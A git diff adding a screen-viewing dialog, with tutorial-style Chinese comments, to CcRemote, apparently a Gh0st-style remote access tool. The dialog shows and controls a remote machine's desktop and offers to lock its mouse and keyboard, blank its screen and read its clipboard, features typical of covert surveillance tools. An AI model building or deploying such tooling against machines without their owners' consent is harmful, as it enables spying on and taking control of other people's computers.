diff --git a/CcRemote/.vs/CcRemote/v15/.suo b/CcRemote/.vs/CcRemote/v15/.suo index d055c7d..28c9aba 100644 Binary files a/CcRemote/.vs/CcRemote/v15/.suo and b/CcRemote/.vs/CcRemote/v15/.suo differ diff --git a/CcRemote/CcRemote/CScreenSpyDlg.cpp b/CcRemote/CcRemote/CScreenSpyDlg.cpp new file mode 100644 index 0000000..d924438 --- /dev/null +++ b/CcRemote/CcRemote/CScreenSpyDlg.cpp @@ -0,0 +1,574 @@ +// CScreenSpyDlg.cpp: 实现文件 +// + +#include "pch.h" +#include "CcRemote.h" +#include "CScreenSpyDlg.h" +#include "afxdialogex.h" +#include "..\..\common\macros.h" + +enum +{ + IDM_CONTROL = 0x0010, + IDM_SEND_CTRL_ALT_DEL, + IDM_TRACE_CURSOR, // 跟踪显示远程鼠标 + IDM_BLOCK_INPUT, // 锁定远程计算机输入 + IDM_BLANK_SCREEN, // 黑屏 + IDM_CAPTURE_LAYER, // 捕捉层 + IDM_SAVEDIB, // 保存图片 + IDM_GET_CLIPBOARD, // 获取剪贴板 + IDM_SET_CLIPBOARD, // 设置剪贴板 + IDM_ALGORITHM_SCAN, // 隔行扫描算法 + IDM_ALGORITHM_DIFF, // 差异比较算法 + IDM_DEEP_1, // 屏幕色彩深度..... + IDM_DEEP_4_GRAY, + IDM_DEEP_4_COLOR, + IDM_DEEP_8_GRAY, + IDM_DEEP_8_COLOR, + IDM_DEEP_16, + IDM_DEEP_32 +}; +// 两种算法 +#define ALGORITHM_SCAN 1 // 速度很快,但碎片太多 +#define ALGORITHM_DIFF 2 // 速度很慢,也占CPU,但是数据量都是最小的 +// CScreenSpyDlg 对话框 + +IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog) +CScreenSpyDlg::CScreenSpyDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext) + : CDialog(IDD_SCREENSPY, pParent) +{ + m_iocpServer = pIOCPServer; + m_pContext = pContext; + m_bIsFirst = true; // 如果是第一次打开对话框,显示提示等待信息 + m_lpScreenDIB = NULL; + char szPath[MAX_PATH]; + GetSystemDirectory(szPath, MAX_PATH); + lstrcat(szPath, "\\shell32.dll"); + m_hIcon = ExtractIcon(AfxGetApp()->m_hInstance, szPath, 17/*网上邻居图标索引*/); + + sockaddr_in sockAddr; + memset(&sockAddr, 0, sizeof(sockAddr)); + int nSockAddrLen = sizeof(sockAddr); + BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen); + + m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : ""; + + //重要的是这里,这里将服务端发送来的bmp结构头和服务端屏幕大小保存起来 + UINT nBISize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; + m_lpbmi = (BITMAPINFO *) new BYTE[nBISize]; + m_lpbmi_rect = (BITMAPINFO *) new BYTE[nBISize]; + //这里就是保存bmp位图头了 + memcpy(m_lpbmi, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize); + memcpy(m_lpbmi_rect, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize); + + memset(&m_MMI, 0, sizeof(MINMAXINFO)); + + m_bIsCtrl = false; // 默认不控制 + m_nCount = 0; + m_bCursorIndex = 1; +} + +CScreenSpyDlg::~CScreenSpyDlg() +{ +} + +void CScreenSpyDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); +} + + +BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog) + ON_WM_CLOSE() + ON_WM_GETMINMAXINFO() + ON_WM_HSCROLL() + ON_WM_PAINT() +END_MESSAGE_MAP() + + +// CScreenSpyDlg 消息处理程序 + + +void CScreenSpyDlg::OnClose() +{ + // TODO: 在此添加消息处理程序代码和/或调用默认值 + m_pContext->m_Dialog[0] = 0; + + closesocket(m_pContext->m_Socket); + + ::ReleaseDC(m_hWnd, m_hDC); + DeleteObject(m_hFullBitmap); + + if (m_lpbmi) + delete m_lpbmi; + if (m_lpbmi_rect) + delete m_lpbmi_rect; + SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_ARROW)); + + m_bIsCtrl = false; + CDialog::OnClose(); +} + + +BOOL CScreenSpyDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + // TODO: 在此添加额外的初始化 + //初始化菜单 + SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_NO)); + CMenu* pSysMenu = GetSystemMenu(FALSE); + if (pSysMenu != NULL) + { + pSysMenu->AppendMenu(MF_SEPARATOR); + pSysMenu->AppendMenu(MF_STRING, IDM_CONTROL, "控制屏幕(&Y)"); + pSysMenu->AppendMenu(MF_STRING, IDM_SEND_CTRL_ALT_DEL, "发送Ctrl-Alt-Del(&K)"); + pSysMenu->AppendMenu(MF_STRING, IDM_TRACE_CURSOR, "跟踪服务端鼠标(&T)"); + pSysMenu->AppendMenu(MF_STRING, IDM_BLOCK_INPUT, "锁定服务端鼠标和键盘(&L)"); + pSysMenu->AppendMenu(MF_STRING, IDM_BLANK_SCREEN, "服务端黑屏(&B)"); + pSysMenu->AppendMenu(MF_STRING, IDM_CAPTURE_LAYER, "捕捉层(导致鼠标闪烁)(&L)"); + pSysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, "保存快照(&S)"); + pSysMenu->AppendMenu(MF_SEPARATOR); + pSysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, "获取剪贴板(&R)"); + pSysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, "设置剪贴板(&L)"); + pSysMenu->AppendMenu(MF_SEPARATOR); + pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_SCAN, "隔行扫描算法(&S)"); + pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_DIFF, "差异比较算法(&X)"); + pSysMenu->AppendMenu(MF_SEPARATOR); + pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_1, "1 位黑白(&A)"); + pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_4_GRAY, "4 位灰度(&B)"); + pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_4_COLOR, "4 位彩色(&C)"); + pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_8_GRAY, "8 位灰度(&D)"); + pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_8_COLOR, "8 位彩色(&E)"); + pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_16, "16位高彩(&F)"); + pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_32, "32位真彩(&G)"); + + pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_SCAN, MF_BYCOMMAND); + pSysMenu->CheckMenuRadioItem(IDM_DEEP_4_GRAY, IDM_DEEP_32, IDM_DEEP_8_COLOR, MF_BYCOMMAND); + } + + // TODO: Add extra initialization here + CString str; + str.Format("\\\\%s %d * %d", m_IPAddress, m_lpbmi->bmiHeader.biWidth, m_lpbmi->bmiHeader.biHeight); + SetWindowText(str); + + m_HScrollPos = 0; + m_VScrollPos = 0; + m_hRemoteCursor = LoadCursor(NULL, IDC_ARROW); + + ICONINFO CursorInfo; + ::GetIconInfo(m_hRemoteCursor, &CursorInfo); + if (CursorInfo.hbmMask != NULL) + ::DeleteObject(CursorInfo.hbmMask); + if (CursorInfo.hbmColor != NULL) + ::DeleteObject(CursorInfo.hbmColor); + m_dwCursor_xHotspot = CursorInfo.xHotspot; + m_dwCursor_yHotspot = CursorInfo.yHotspot; + + m_RemoteCursorPos.x = 0; + m_RemoteCursorPos.x = 0; + m_bIsTraceCursor = false; + + // 初始化窗口大小结构 这里的初始化就不讲解了,同服务端一样的位图的图像数据 + //是我们分配好的缓冲区也就是说我们可以更改这个缓冲区里的数据来改变位图图像 + m_hDC = ::GetDC(m_hWnd); + m_hMemDC = CreateCompatibleDC(m_hDC); + m_hFullBitmap = CreateDIBSection(m_hDC, m_lpbmi, DIB_RGB_COLORS, &m_lpScreenDIB, NULL, NULL); + SelectObject(m_hMemDC, m_hFullBitmap); + SetScrollRange(SB_HORZ, 0, m_lpbmi->bmiHeader.biWidth); + SetScrollRange(SB_VERT, 0, m_lpbmi->bmiHeader.biHeight); + + InitMMI(); + SendNext(); + return TRUE; // return TRUE unless you set the focus to a control + // 异常: OCX 属性页应返回 FALSE +} + + +void CScreenSpyDlg::InitMMI(void) +{ + RECT rectClient, rectWindow; + GetWindowRect(&rectWindow); + GetClientRect(&rectClient); + ClientToScreen(&rectClient); + + int nBorderWidth = rectClient.left - rectWindow.left; // 边框宽 + int nTitleWidth = rectClient.top - rectWindow.top; // 标题栏的高度 + + int nWidthAdd = nBorderWidth * 2 + GetSystemMetrics(SM_CYHSCROLL); + int nHeightAdd = nTitleWidth + nBorderWidth + GetSystemMetrics(SM_CYVSCROLL); + int nMinWidth = 400 + nWidthAdd; + int nMinHeight = 300 + nHeightAdd; + int nMaxWidth = m_lpbmi->bmiHeader.biWidth + nWidthAdd; + int nMaxHeight = m_lpbmi->bmiHeader.biHeight + nHeightAdd; + + + // 最小的Track尺寸 + m_MMI.ptMinTrackSize.x = nMinWidth; + m_MMI.ptMinTrackSize.y = nMinHeight; + + // 最大化时窗口的位置 + m_MMI.ptMaxPosition.x = 1; + m_MMI.ptMaxPosition.y = 1; + + // 窗口最大尺寸 + m_MMI.ptMaxSize.x = nMaxWidth; + m_MMI.ptMaxSize.y = nMaxHeight; + + // 最大的Track尺寸也要改变 + m_MMI.ptMaxTrackSize.x = nMaxWidth; + m_MMI.ptMaxTrackSize.y = nMaxHeight; +} + + +void CScreenSpyDlg::SendNext(void) +{ + BYTE bBuff = COMMAND_NEXT; + m_iocpServer->Send(m_pContext, &bBuff, 1); +} + +//调整最大化最小化时会调用这个函数 +void CScreenSpyDlg::OnGetMinMaxInfo(MINMAXINFO* lpMMI) +{ + // TODO: 在此添加消息处理程序代码和/或调用默认值 + // 如果m_MMI已经被赋值 + if (m_MMI.ptMaxSize.x > 0) + memcpy((void *)lpMMI, &m_MMI, sizeof(MINMAXINFO)); + CDialog::OnGetMinMaxInfo(lpMMI); +} + + +void CScreenSpyDlg::OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar) +{ + // TODO: 在此添加消息处理程序代码和/或调用默认值 + SCROLLINFO si; + int i; + si.cbSize = sizeof(SCROLLINFO); + si.fMask = SIF_ALL; + GetScrollInfo(SB_HORZ, &si); + + switch (nSBCode) + { + case SB_LINEUP: + i = nPos - 1; + break; + case SB_LINEDOWN: + i = nPos + 1; + break; + case SB_THUMBPOSITION: + case SB_THUMBTRACK: + i = si.nTrackPos; + break; + default: + return; + } + + i = max(i, si.nMin); + i = min(i, (int)(si.nMax - si.nPage + 1)); + + RECT rect; + GetClientRect(&rect); + + if ((rect.right + i) > m_lpbmi->bmiHeader.biWidth) + i = m_lpbmi->bmiHeader.biWidth - rect.right; + + InterlockedExchange((PLONG)&m_HScrollPos, i); + + SetScrollPos(SB_HORZ, m_HScrollPos); + + OnPaint(); + CDialog::OnHScroll(nSBCode, nPos, pScrollBar); +} + + +void CScreenSpyDlg::OnPaint() +{ + CPaintDC dc(this); // device context for painting + // TODO: 在此处添加消息处理程序代码 + // 不为绘图消息调用 CDialog::OnPaint() + + if (m_bIsFirst) + { + DrawTipString("Please wait - initial screen loading"); + return; + } + //这里同样用我们讲过的api 不过他的作用可不仅仅是用来抓图,他还可以显示图像, + //为什么呢? 因为抓图,显示图,都是我们的片面想法,这个api的作用就是复制 + //设备的缓冲区,将桌面设备缓冲区复制到我们的内存缓冲区,这个就是抓图, + //将内存缓冲区复制到设备缓冲区就是显示图了。。。。。。。。 + BitBlt + ( + m_hDC, + 0, + 0, + m_lpbmi->bmiHeader.biWidth, + m_lpbmi->bmiHeader.biHeight, + m_hMemDC, + m_HScrollPos, + m_VScrollPos, + SRCCOPY + ); + + // (BYTE)-1 = 255; + // Draw the cursor + //这里画一下鼠标的图像 + if (m_bIsTraceCursor) + DrawIconEx( + m_hDC, // handle to device context + m_RemoteCursorPos.x - ((int)m_dwCursor_xHotspot) - m_HScrollPos, + m_RemoteCursorPos.y - ((int)m_dwCursor_yHotspot) - m_VScrollPos, + m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex), // handle to icon to draw + 0, 0, // width of the icon + 0, // index of frame in animated cursor + NULL, // handle to background brush + DI_NORMAL | DI_COMPAT // icon-drawing flags + ); +} + + +void CScreenSpyDlg::DrawTipString(CString str) +{ + RECT rect; + GetClientRect(&rect); + COLORREF bgcol = RGB(0x00, 0x00, 0x00); + COLORREF oldbgcol = SetBkColor(m_hDC, bgcol); + COLORREF oldtxtcol = SetTextColor(m_hDC, RGB(0xff, 0x00, 0x00)); + ExtTextOut(m_hDC, 0, 0, ETO_OPAQUE, &rect, NULL, 0, NULL); + + DrawText(m_hDC, str, -1, &rect, + DT_SINGLELINE | DT_CENTER | DT_VCENTER); + + SetBkColor(m_hDC, oldbgcol); + SetTextColor(m_hDC, oldtxtcol); +} + + +void CScreenSpyDlg::OnReceiveComplete(void) +{ + m_nCount++; + + switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) + { + case TOKEN_FIRSTSCREEN: + DrawFirstScreen(); //这里显示第一帧图像 一会转到函数定义 + break; + case TOKEN_NEXTSCREEN: + if (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1] == ALGORITHM_SCAN) + DrawNextScreenRect(); //这里是第二帧之后的数据了--- + else + DrawNextScreenDiff(); //----当然这里有两种算法 + break; //我们能转到DrawFirstScreen函数定义 + case TOKEN_BITMAPINFO: + ResetScreen(); + break; + case TOKEN_CLIPBOARD_TEXT: + UpdateLocalClipboard((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1); + break; + default: + // 传输发生异常数据 + return; + } +} + + + +void CScreenSpyDlg::DrawFirstScreen(void) +{ + m_bIsFirst = false; + //这里也很简单就是得到服务端发来的数据 ,将他拷贝到HBITMAP的缓冲区中,这样一个图像就出现了 + memcpy(m_lpScreenDIB, m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_lpbmi->bmiHeader.biSizeImage); + //我们到OnPaint()函数 + OnPaint(); +} + + +void CScreenSpyDlg::DrawNextScreenDiff(void) +{ + //这个函数也非常复杂 ,他不是直接画到屏幕上,而是更新一下变化部分的屏幕数据然后调用 + //OnPaint画上去 + // 根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标,防止鼠标闪烁 + bool bIsReDraw = false; + int nHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引 + LPVOID lpFirstScreen = m_lpScreenDIB; + LPVOID lpNextScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength); + DWORD dwBytes = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength; + + POINT oldPoint; + memcpy(&oldPoint, &m_RemoteCursorPos, sizeof(POINT)); + memcpy(&m_RemoteCursorPos, m_pContext->m_DeCompressionBuffer.GetBuffer(2), sizeof(POINT)); + + // 鼠标移动了 + if (memcmp(&oldPoint, &m_RemoteCursorPos, sizeof(POINT)) != 0) + bIsReDraw = true; + + // 光标类型发生变化 + int nOldCursorIndex = m_bCursorIndex; + m_bCursorIndex = m_pContext->m_DeCompressionBuffer.GetBuffer(10)[0]; + if (nOldCursorIndex != m_bCursorIndex) + { + bIsReDraw = true; + if (m_bIsCtrl && !m_bIsTraceCursor) + SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex)); + } + + // 屏幕是否变化 + if (dwBytes > 0) + bIsReDraw = true; + + __asm + { + mov ebx, [dwBytes] + mov esi, [lpNextScreen] + jmp CopyEnd + CopyNextBlock : + mov edi, [lpFirstScreen] + lodsd // 把lpNextScreen的第一个双字节,放到eax中,就是DIB中改变区域的偏移 + add edi, eax // lpFirstScreen偏移eax + lodsd // 把lpNextScreen的下一个双字节,放到eax中, 就是改变区域的大小 + mov ecx, eax + sub ebx, 8 // ebx 减去 两个dword + sub ebx, ecx // ebx 减去DIB数据的大小 + rep movsb + CopyEnd : + cmp ebx, 0 // 是否写入完毕 + jnz CopyNextBlock + } + + if (bIsReDraw) OnPaint(); +} + + +void CScreenSpyDlg::DrawNextScreenRect(void) +{ + //这个函数也非常复杂他将传送来的数据 得到变化的区域然后画到屏幕上 + + // 根据鼠标是否移动和鼠标是否在变化的区域判断是否重绘鼠标,防止鼠标闪烁 + bool bIsReDraw = false; + int nHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引 + LPVOID lpFirstScreen = m_lpScreenDIB; + LPVOID lpNextScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength); + DWORD dwBytes = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength; + + + // 保存上次鼠标所在的位置 + RECT rectOldPoint; + ::SetRect(&rectOldPoint, m_RemoteCursorPos.x, m_RemoteCursorPos.y, + m_RemoteCursorPos.x + m_dwCursor_xHotspot, m_RemoteCursorPos.y + m_dwCursor_yHotspot); + + memcpy(&m_RemoteCursorPos, m_pContext->m_DeCompressionBuffer.GetBuffer(2), sizeof(POINT)); + + ////////////////////////////////////////////////////////////////////////// + // 判断鼠标是否移动 + if ((rectOldPoint.left != m_RemoteCursorPos.x) || (rectOldPoint.top != + m_RemoteCursorPos.y)) + bIsReDraw = true; + + // 光标类型发生变化 + int nOldCursorIndex = m_bCursorIndex; + m_bCursorIndex = m_pContext->m_DeCompressionBuffer.GetBuffer(10)[0]; + if (nOldCursorIndex != m_bCursorIndex) + { + bIsReDraw = true; + if (m_bIsCtrl && !m_bIsTraceCursor) + SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex)); + } + + // 判断鼠标所在区域是否发生变化 + DWORD dwOffset = 0; + while (dwOffset < dwBytes && !bIsReDraw) + { + LPRECT lpRect = (LPRECT)((LPBYTE)lpNextScreen + dwOffset); + RECT rectDest; + if (IntersectRect(&rectDest, &rectOldPoint, lpRect)) + bIsReDraw = true; + dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage; + } + bIsReDraw = bIsReDraw && m_bIsTraceCursor; + ////////////////////////////////////////////////////////////////////////// + + dwOffset = 0; + while (dwOffset < dwBytes) + { + LPRECT lpRect = (LPRECT)((LPBYTE)lpNextScreen + dwOffset); + int nRectWidth = lpRect->right - lpRect->left; + int nRectHeight = lpRect->bottom - lpRect->top; + + m_lpbmi_rect->bmiHeader.biWidth = nRectWidth; + m_lpbmi_rect->bmiHeader.biHeight = nRectHeight; + m_lpbmi_rect->bmiHeader.biSizeImage = (((m_lpbmi_rect->bmiHeader.biWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3) + * m_lpbmi_rect->bmiHeader.biHeight; + + StretchDIBits(m_hMemDC, lpRect->left, lpRect->top, nRectWidth, + nRectHeight, 0, 0, nRectWidth, nRectHeight, (LPBYTE)lpNextScreen + dwOffset + sizeof(RECT), + m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY); + + // 不需要重绘鼠标的话,直接重绘变化的部分 + if (!bIsReDraw) + StretchDIBits(m_hDC, lpRect->left - m_HScrollPos, lpRect->top - m_VScrollPos, nRectWidth, + nRectHeight, 0, 0, nRectWidth, nRectHeight, (LPBYTE)lpNextScreen + dwOffset + sizeof(RECT), + m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY); + + dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage; + } + + if (bIsReDraw) OnPaint(); +} + +//更改屏幕分辨率 +void CScreenSpyDlg::ResetScreen(void) +{ + UINT nBISize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; + if (m_lpbmi != NULL) + { + int nOldWidth = m_lpbmi->bmiHeader.biWidth; + int nOldHeight = m_lpbmi->bmiHeader.biHeight; + + delete[] m_lpbmi; + delete[] m_lpbmi_rect; + + m_lpbmi = (BITMAPINFO *) new BYTE[nBISize]; + m_lpbmi_rect = (BITMAPINFO *) new BYTE[nBISize]; + + memcpy(m_lpbmi, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize); + memcpy(m_lpbmi_rect, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize); + + DeleteObject(m_hFullBitmap); + m_hFullBitmap = CreateDIBSection(m_hDC, m_lpbmi, DIB_RGB_COLORS, &m_lpScreenDIB, NULL, NULL); + SelectObject(m_hMemDC, m_hFullBitmap); + + memset(&m_MMI, 0, sizeof(MINMAXINFO)); + InitMMI(); + + // 分辨率发生改变 + if (nOldWidth != m_lpbmi->bmiHeader.biWidth || nOldHeight != m_lpbmi->bmiHeader.biHeight) + { + RECT rectClient, rectWindow; + GetWindowRect(&rectWindow); + GetClientRect(&rectClient); + ClientToScreen(&rectClient); + + // 计算ClientRect与WindowRect的差距(标题栏,滚动条) + rectWindow.right = m_lpbmi->bmiHeader.biWidth + rectClient.left + (rectWindow.right - rectClient.right); + rectWindow.bottom = m_lpbmi->bmiHeader.biHeight + rectClient.top + (rectWindow.bottom - rectClient.bottom); + MoveWindow(&rectWindow); + } + } +} + +void CScreenSpyDlg::UpdateLocalClipboard(char *buf, int len) +{ + if (!::OpenClipboard(NULL)) + return; + + ::EmptyClipboard(); + HGLOBAL hglbCopy = GlobalAlloc(GPTR, len); + if (hglbCopy != NULL) { + // Lock the handle and copy the text to the buffer. + LPTSTR lptstrCopy = (LPTSTR)GlobalLock(hglbCopy); + memcpy(lptstrCopy, buf, len); + GlobalUnlock(hglbCopy); // Place the handle on the clipboard. + SetClipboardData(CF_TEXT, hglbCopy); + GlobalFree(hglbCopy); + } + CloseClipboard(); +} \ No newline at end of file diff --git a/CcRemote/CcRemote/CScreenSpyDlg.h b/CcRemote/CcRemote/CScreenSpyDlg.h new file mode 100644 index 0000000..17573af --- /dev/null +++ b/CcRemote/CcRemote/CScreenSpyDlg.h @@ -0,0 +1,65 @@ +#pragma once + +#include "include/IOCPServer.h" +#include "..\..\common\CursorInfo.h" +// CScreenSpyDlg 对话框 + +class CScreenSpyDlg : public CDialog +{ + DECLARE_DYNAMIC(CScreenSpyDlg) + +public: + CScreenSpyDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数 + virtual ~CScreenSpyDlg(); + +// 对话框数据 +#ifdef AFX_DESIGN_TIME + enum { IDD = IDD_SCREENSPY }; +#endif + +protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 + + DECLARE_MESSAGE_MAP() + +private: + int m_nBitCount; + bool m_bIsFirst; + bool m_bIsTraceCursor; + ClientContext* m_pContext; + CIOCPServer* m_iocpServer; + CString m_IPAddress; + HICON m_hIcon; + MINMAXINFO m_MMI; + HDC m_hDC, m_hMemDC, m_hPaintDC; + HBITMAP m_hFullBitmap; + LPVOID m_lpScreenDIB; + LPBITMAPINFO m_lpbmi, m_lpbmi_rect; + UINT m_nCount; + UINT m_HScrollPos, m_VScrollPos; + HCURSOR m_hRemoteCursor; + DWORD m_dwCursor_xHotspot, m_dwCursor_yHotspot; + POINT m_RemoteCursorPos; + BYTE m_bCursorIndex; + CCursorInfo m_CursorInfo; + bool m_bIsCtrl; +public: + afx_msg void OnClose(); + virtual BOOL OnInitDialog(); + + void InitMMI(void); + void SendNext(void); + afx_msg void OnGetMinMaxInfo(MINMAXINFO* lpMMI); + afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar); + afx_msg void OnPaint(); + +private: + void DrawTipString(CString str); + void UpdateLocalClipboard(char *buf, int len); +public: + void OnReceiveComplete(void); + void DrawFirstScreen(void); + void DrawNextScreenDiff(void); + void DrawNextScreenRect(void); + void ResetScreen(void); +}; diff --git a/CcRemote/CcRemote/CcRemote.rc b/CcRemote/CcRemote/CcRemote.rc index 656cb42..f0136f7 100644 Binary files a/CcRemote/CcRemote/CcRemote.rc and b/CcRemote/CcRemote/CcRemote.rc differ diff --git a/CcRemote/CcRemote/CcRemote.vcxproj b/CcRemote/CcRemote/CcRemote.vcxproj index 4f59cb9..f49b18e 100644 --- a/CcRemote/CcRemote/CcRemote.vcxproj +++ b/CcRemote/CcRemote/CcRemote.vcxproj @@ -204,6 +204,7 @@ + @@ -223,6 +224,7 @@ + diff --git a/CcRemote/CcRemote/CcRemote.vcxproj.filters b/CcRemote/CcRemote/CcRemote.vcxproj.filters index 9f191e0..a7ceac4 100644 --- a/CcRemote/CcRemote/CcRemote.vcxproj.filters +++ b/CcRemote/CcRemote/CcRemote.vcxproj.filters @@ -75,6 +75,9 @@ 头文件 + + 头文件 + @@ -113,6 +116,9 @@ 源文件 + + 源文件 + diff --git a/CcRemote/CcRemote/Debug/CcRemote.Build.CppClean.log b/CcRemote/CcRemote/Debug/CcRemote.Build.CppClean.log index db472ff..44150e6 100644 --- a/CcRemote/CcRemote/Debug/CcRemote.Build.CppClean.log +++ b/CcRemote/CcRemote/Debug/CcRemote.Build.CppClean.log @@ -1,23 +1,2 @@ -g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.pch -g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.pdb -g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.idb -g:\ccremote\ccremote\ccremote\ccremote\debug\pch.obj -g:\ccremote\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj -g:\ccremote\ccremote\ccremote\ccremote\debug\cpuusage.obj -g:\ccremote\ccremote\ccremote\ccremote\debug\ccremotedlg.obj -g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.obj -g:\ccremote\ccremote\ccremote\ccremote\debug\iocpserver.obj -g:\ccremote\ccremote\ccremote\ccremote\debug\buffer.obj -g:\ccremote\ccremote\ccremote\debug\ccremote.ilk -g:\ccremote\ccremote\ccremote\debug\ccremote.exe -g:\ccremote\ccremote\ccremote\debug\ccremote.pdb g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.res -g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog -g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog -g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog -g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog -g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog -g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog -g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog -g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog -g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog +g:\ccremote\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe diff --git a/CcRemote/CcRemote/Debug/CcRemote.log b/CcRemote/CcRemote/Debug/CcRemote.log index 21771c4..b6a6ea8 100644 --- a/CcRemote/CcRemote/Debug/CcRemote.log +++ b/CcRemote/CcRemote/Debug/CcRemote.log @@ -1,18 +1,43 @@ - pch.cpp +G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。 + pch.cpp CcRemote.cpp CcRemoteDlg.cpp -g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(218): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据 -g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(235): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据 +g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(161): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 +g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(166): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 +g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(307): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据 +g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(324): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据 +g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(794): warning C4018: “<=”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(876): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 + CScreenSpyDlg.cpp +g:\ccremote\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable 